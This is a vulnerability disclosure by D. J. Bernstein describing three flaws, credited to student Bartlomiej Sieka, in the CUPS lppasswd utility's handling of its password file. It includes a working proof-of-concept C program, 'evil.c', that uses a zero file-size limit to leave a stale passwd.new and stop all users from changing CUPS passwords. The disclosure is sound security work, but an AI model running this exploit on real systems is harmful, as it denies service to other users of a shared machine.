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Bartlomiej Sieka, a student in my Fall 2004 UNIX Security Holes course,
has discovered several security problems in how lppasswd, version 1.1.22
(current), edits /usr/local/etc/cups/passwd. I'm publishing this notice,
but all the discovery credits should be assigned to Sieka.

First, lppasswd blithely ignores write errors in fputs(line,outfile) at
lines 311 and 315 of lppasswd.c, and in fprintf(...) at line 346. An
attacker who fills up the disk at the right moment can arrange for
/usr/local/etc/cups/passwd to be truncated.

Second, if lppasswd bumps into a file-size resource limit while writing
passwd.new, it leaves passwd.new in place, disabling all subsequent
invocations of lppasswd. Any local user can thus disable lppasswd by
running the attached program 63.c.

Third, line 306 of lppasswd.c prints an error message to stderr but
does not exit. This is not a problem on systems that ensure that file
descriptors 0, 1, and 2 are open for setuid programs, but it is a
problem on other systems; lppasswd does not check that passwd.new is
different from stderr, so it ends up writing a user-controlled error
message to passwd if the user closes file descriptor 2.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

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/*
 * evil.c
 * 2004.12.11
 * Bartlomiej Sieka
 *
 * This program executes the lpasswd(1) password changing utility
 * in way that prevents its further use, i.e. after this program
 * has been executed, all users on the system will be unable to change
 * their CUPS passwords. This is not a documented feature of lppasswd(1)
 * and is certainly unauthorized.
 *
 * This program has been tested with lppasswd(1) versions 1.1.19 and
 * 1.1.22 on FreeBSD 5.2.
 *
 * The recipe:
 * gcc -o evil evil.c
 * ./evil
 * Type in passwords as requested, and voila! This will create an empty
 * file /usr/local/etc/cups/passwd.new. The existence of this file makes
 * lppasswd(1) quit before changing users password with message
 * "lppasswd: Password file busy!".
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
extern char **environ;

int main(int argc, char **argv){

  char *cmd = "/usr/local/bin/lppasswd";
  char *args[] = { "/usr/local/bin/lppasswd", 0x00 };

  /* set the file size limit to 0 */
  struct rlimit rl;
  rl.rlim_cur = 0;
  rl.rlim_max = 0;
  setrlimit(RLIMIT_FSIZE, &rl);

  /* execute the poor victim */
  execve(cmd, args, environ);
}

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